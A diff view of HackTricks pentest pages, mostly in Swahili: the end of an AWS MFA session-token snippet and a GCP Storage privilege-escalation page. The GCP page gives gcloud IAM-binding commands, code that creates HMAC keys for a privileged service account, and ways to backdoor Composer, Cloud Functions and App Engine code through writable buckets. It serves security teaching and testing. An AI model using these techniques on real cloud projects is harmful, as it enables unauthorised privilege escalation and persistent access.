seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
|
||||
key = base64.b32decode(seed, casefold=True)
|
||||
|
||||
counter = int(time.time() / 30)
|
||||
msg = struct.pack(">Q", counter)
|
||||
h = hmac.new(key, msg, hashlib.sha1).digest()
|
||||
o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
print(f"{code:06d}")
|
||||
```
|
||||
Nakili thamani iliyochapishwa kama TOKEN_CODE na omba tokeni ya kikao iliyoungwa mkono na MFA (STS):
|
||||
```bash
|
||||
aws sts get-session-token \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
--token-code TOKEN_CODE
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# GCP - Hifadhi Privesc
|
||||
# GCP - Storage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Hifadhi
|
||||
## Storage
|
||||
|
||||
Taarifa za Msingi:
|
||||
|
||||
@@ -12,14 +12,14 @@ Taarifa za Msingi:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Ruhusa hii inakuwezesha **kupakua faili zilizohifadhiwa ndani ya Cloud Storage**. Hii inaweza kukuruhusu kupandisha ruhusa kwa sababu wakati mwingine **taarifa nyeti zimehifadhiwa huko**. Zaidi ya hayo, baadhi ya huduma za GCP huhifadhi taarifa zao ndani ya buckets:
|
||||
Ruhusa hii inakuwezesha **kupakua faili zilizohifadhiwa ndani ya Cloud Storage**. Hii inaweza kukuwezesha kupandisha hadhi kwa sababu katika baadhi ya matukio **taarifa nyeti zinahifadhiwa huko**. Zaidi ya hayo, baadhi ya huduma za GCP zinaweka taarifa zao katika buckets:
|
||||
|
||||
- **GCP Composer**: Unapounda Composer Environment, **msimbo wa DAG zote** utahifadhiwa ndani ya **bucket**. DAG hizi zinaweza kuwa na taarifa za kuvutia ndani ya misimbo yao.
|
||||
- **GCR (Container Registry)**: **Image** za containers zinahifadhiwa ndani ya **buckets**, ambayo ina maana kwamba ikiwa unaweza kusoma buckets hizo utaweza kupakua images na **kutafuta leaks na/au msimbo wa chanzo**.
|
||||
- **GCP Composer**: Unapotengeneza Composer Environment the **code of all the DAGs** itawekwa ndani ya **bucket**. Kazi hizi zinaweza kuwa na taarifa za kuvutia ndani ya code yao.
|
||||
- **GCR (Container Registry)**: The **image** za containers zinahifadhiwa ndani ya **buckets**, ambayo inamaanisha kwamba kama unaweza kusoma buckets utaweza kupakua images na **search for leaks and/or source code**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Hii inaweza kukupa ruhusa ya **kutitumia vibaya mojawapo ya matukio ya hapo juu**.
|
||||
Unaweza kujipa ruhusa ya **abuse any of the previous scenarios of this section**.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
@@ -51,7 +51,7 @@ POLICY
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Kwa mfano wa jinsi ya kubadili ruhusa kwa kutumia ruhusa hii angalia ukurasa huu:
|
||||
Kwa mfano wa jinsi ya kubadilisha ruhusa kwa kutumia ruhusa hii angalia ukurasa huu:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
@@ -87,14 +87,14 @@ POLICY
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Sifa ya "interoperability" ya Cloud Storage, iliyobuniwa kwa ajili ya **maingiliano kati ya cloud** kama AWS S3, inahusisha **utengenezaji wa HMAC keys kwa Service Accounts na watumiaji**. Mshambuliaji anaweza kutumia hili kwa **kuunda HMAC key kwa Service Account yenye vibali vilivyoongezwa**, kwa hivyo **kuongeza hadhi ndani ya Cloud Storage**. Wakati HMAC keys zinazohusishwa na watumiaji zinaweza kupatikana tu kupitia web console, vifunguo vya access na secret vinabaki **kupatikana daima**, hivyo kuruhusu kuhifadhi ufikiaji kama chelezo. Kwa upande mwingine, HMAC keys zinazounganishwa na Service Account zinapatikana kupitia API, lakini vifunguo vya access na secret havipatikani baada ya kuundwa, ikiongeza ngazi ya ugumu kwa ajili ya ufikiaji wa kudumu.
|
||||
Kipengele cha "interoperability" cha Cloud Storage, kilichobuniwa kwa ajili ya **cross-cloud interactions** kama AWS S3, kinajumuisha **kuundwa kwa HMAC keys kwa Service Accounts na users**. Mshambulizi anaweza kutekeleza hili kwa **kutengeneza HMAC key kwa Service Account yenye vibali vilivyopandishwa**, hivyo **kupandisha vigezo ndani ya Cloud Storage**. Ingawa HMAC keys zinazohusishwa na watumiaji zinapatikana tu kupitia web console, access na secret keys zinabaki **perpetually accessible**, kuruhusu kuhifadhiwa kama backup access. Kwa upande mwingine, HMAC keys zilizounganishwa na Service Account zinapatikana kupitia API, lakini access na secret keys hazirudishwi baada ya uundwaji, jambo linaloongeza ugumu kwa upatikanaji wa kuendelea.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
|
||||
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
|
||||
PROJECT_ID = '$PROJECT_ID'
|
||||
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
|
||||
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
|
||||
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
|
||||
import requests
|
||||
import json
|
||||
@@ -117,52 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
Script nyingine ya exploit kwa njia hii inapatikana [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
Script nyingine ya exploit kwa njia hii inaweza kupatikana [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Idhini za Kuandika za Storage
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
Ili **kuunda kitu kipya** ndani ya bucket unahitaji `storage.objects.create` na, kulingana na [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), unahitaji pia `storage.objects.delete` ili **kuhariri** kitu kilicho tayari.
|
||||
Ili **kuunda object mpya** ndani ya bucket unahitaji `storage.objects.create` na, kwa mujibu wa [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), pia unahitaji `storage.objects.delete` ili **kubadilisha** object iliyopo.
|
||||
|
||||
Utekelezaji wa kawaida wa udhaifu kwenye buckets unapo kuwa na uwezo wa kuandika ni pale ambapo **bucket inahifadhi faili za web server**; unaweza kuwa na uwezo wa **kuweka code mpya** ambayo itatumika na web application.
|
||||
A very **common exploitation** ya buckets ambazo unaweza kuandika ndani ya cloud ni pale ambapo **bucket inahifadhi web server files**, unaweza kuwa na uwezo wa **kuhifadhi code mpya** ambayo itatumika na web application.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** ni **Apache Airflow** inayosimamiwa ndani ya GCP. Ina sifa kadhaa za kuvutia:
|
||||
**Composer** is **Apache Airflow** managed inside GCP. Ina vipengele kadhaa vinavyovutia:
|
||||
|
||||
- Inakimbia ndani ya **GKE cluster**, hivyo **SA ambayo cluster inatumia inapatikana** kwa code inayokimbia ndani ya Composer
|
||||
- Vifaa vyote vya environment za composer (**code of DAGs**, plugins na data) vinahifadhiwa ndani ya bucket ya GCP. Ikiwa mshambuliaji ana idhini za kusoma na kuandika juu yake, anaweza kufuatilia bucket na **kila wakati DAG inapotengenezwa au kusasishwa, akatuma toleo lenye backdoor** ili environment ya composer ipate kutoka storage toleo lenye backdoor.
|
||||
- Inakimbia ndani ya **GKE cluster**, hivyo **SA** ambayo cluster inaitumia inapatikana na code inayokimbia ndani ya Composer
|
||||
- Vifaa vyote vya environment ya Composer (**code of DAGs**, plugins na data) vinahifadhiwa ndani ya GCP bucket. Ikiwa mshambuliaji ana idhini za kusoma na kuandika juu yake, anaweza kusimamia bucket na **kila mara DAG inapoundwa au kusasishwa, kuwasilisha toleo lenye backdoor** ili environment ya Composer ichukue toleo lenye backdoor kutoka storage.
|
||||
|
||||
Unaweza kupata PoC ya shambulio hili katika repo: [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Code za Cloud Functions zinalindwa ndani ya Storage na kila wakati toleo jipya linapotengenezwa code inasukumwa kwenye bucket kisha container mpya inajengwa kutoka kwa code hiyo. Kwa hiyo, **kufuta au kubadilisha code kabla toleo jipya halijajengwa kunawezekana kufanya cloud function itekeleze arbitrary code**.
|
||||
- Cloud Functions code inahifadhiwa katika Storage na kila mara toleo jipya linapoundwa code inatumwa kwenye bucket na kisha container mpya inaanzishwa kutokana na code hii. Kwa hivyo, **kuandika juu ya code kabla toleo jipya linajengwa kunaweza kufanya cloud function itekeleze code yoyote (arbitrary code).**
|
||||
|
||||
Unaweza kupata PoC ya shambulio hili katika repo: [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
Matoleo ya AppEngine yanazalisha data ndani ya bucket yenye muundo wa jina: `staging.<project-id>.appspot.com`. Ndani ya bucket hii, inawezekana kupata folda inayoitwa `ae` ambayo itaenda kuwa na folda kwa kila toleo la AppEngine app na ndani ya folda hizi utapata faili `manifest.json`. Faili hii ina json yenye orodha ya faili zote ambazo zinahitajika kutumiwa kuunda toleo husika. Zaidi ya hayo, inawezekana kupata **majina halisi ya faili, URL yao ndani ya GCP bucket (faili ndani ya bucket zilibadilishwa jina kwa sha1 hash) na sha1 hash ya kila faili.**
|
||||
AppEngine versions zinatengeneza data ndani ya bucket yenye muundo wa jina: `staging.<project-id>.appspot.com`. Ndani ya bucket hii, inawezekana kupata folda inayoitwa `ae` ambayo itakuwa na folda kwa kila toleo la AppEngine app na ndani ya folder hizi utaweza kupata faili ya `manifest.json`. Faili hii ina json yenye orodha ya faili zote zinazotumika kuunda toleo hilo maalum. Zaidi ya hayo, inawezekana kupata **majina halisi ya faili, URL zao ndani ya GCP bucket (faili ndani ya bucket zimebadilishwa majina yao kwa sha1 hash) na sha1 hash ya kila faili.**
|
||||
|
||||
_Nota kuwa haiwezekani kuchukua bucket hii kabla kwa sababu watumiaji wa GCP hawaruhusiwi kuunda buckets kwa kutumia domain appspot.com._
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
Hata hivyo, kwa ufikiaji wa kusoma na kuandika kwenye bucket hii, inawezekana kuongezeka kwa ruhusa hadi SA iliyounganishwa na toleo la App Engine kwa kufuatilia bucket na kila wakati mabadiliko yanapotendeka (toleo jipya), kubadilisha toleo jipya haraka iwezekanavyo. Kwa njia hii, container inayoundwa kutoka kwa code hii itatekeleza code yenye backdoor.
|
||||
Hata hivyo, kwa kuwa na idhini za kusoma & kuandika juu ya bucket hii, inawezekana kuinua mamlaka (escalate privileges) kwa SA iliyounganishwa na toleo la App Engine kwa kusimamia bucket na kila wakati mabadiliko yanapofanyika (toleo jipya), kubadilisha toleo jipya haraka iwezekanavyo. Kwa njia hii, container inayoundwa kutokana na code hii itaendesha code yenye backdoor.
|
||||
|
||||
Shambulio lililotajwa linaweza kufanywa kwa njia nyingi tofauti, zote zinaanzia kwa kufuatilia bucket `staging.<project-id>.appspot.com`:
|
||||
Shambulio lililotajwa linaweza kufanywa kwa njia nyingi tofauti, zote zinaanza kwa kusimamia bucket ya `staging.<project-id>.appspot.com`:
|
||||
|
||||
- Pakia code mpya kamili ya toleo la AppEngine kwenye bucket nyingine iliyopo na inayopatikana na uandae faili ya **`manifest.json` na jina la bucket mpya na sha1 hashes yake**. Kisha, wakati toleo jipya linapotengenezwa ndani ya bucket, unachohitaji ni kubadilisha faili ya `manifest.json` na kupakia ile yenye madhara.
|
||||
- Pakia toleo lililosahihishwa la `requirements.txt` litakalo tumia code ya dependencies yenye madhara na sasisha `manifest.json` na jina jipya la faili, URL na hash yake.
|
||||
- Pakia **`main.py` au `app.yaml` iliyorekebishwa ambayo itatekeleza code yenye madhara** na sasisha `manifest.json` na jina jipya la faili, URL na hash yake.
|
||||
- Pakia code kamili mpya ya toleo la AppEngine kwenye bucket tofauti inayopatikana na andaa faili ya **`manifest.json` yenye jina jipya la bucket na sha1 hashes za faili hizo**. Kisha, wakati toleo jipya linapoundwa ndani ya bucket, unahitaji tu kubadilisha faili ya `manifest.json` na kupakia ile lenye backdoor.
|
||||
- Pakia toleo lililorekebishwa la `requirements.txt` ambalo litatumia **dependencies zenye madhara (malicious code)** na sasisha `manifest.json` na jina jipya la faili, URL na hash yake.
|
||||
- Pakia faili **`main.py` au `app.yaml` iliyorekebishwa itakayotekeleza code yenye backdoor** na sasisha `manifest.json` na jina jipya la faili, URL na hash yake.
|
||||
|
||||
Unaweza kupata PoC ya shambulio hili katika repo: [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** inahifadhi images ndani ya buckets, ikiwa unaweza **kuandika kwenye buckets hizo** unaweza kuwa na uwezo wa **kutembea kwa lateral hadi maeneo ambapo buckets hizo zinakimbizwa.**
|
||||
- Bucket inayotumika na GCR itakuwa na URL inayofanana na `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Subdomains za juu zinabainishwa [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** inahifadhi images ndani ya buckets, ikiwa unaweza **kuandika kwenye buckets hizo** unaweza kuweza **kutoka upande mmoja kwenda mwingine (move laterally) mahali ambapo buckets hizo zinaendeshwa.**
|
||||
- Bucket inayotumika na GCR ita kuwa na URL inayofanana na `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Huduma hii imepitwa na wakati hivyo shambulio hili halitumiki tena. Zaidi ya hayo, Artifact Registry, huduma inayobadilisha hii, haisihifadhi images ndani ya buckets.
|
||||
> Huduma hii imekatishwa (deprecated) hivyo shambulio hili halitumiki tena. Zaidi ya hayo, Artifact Registry, huduma inayobadilisha hii, haisi kuhifadhi images kwenye buckets.
|
||||
|
||||
## **References**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user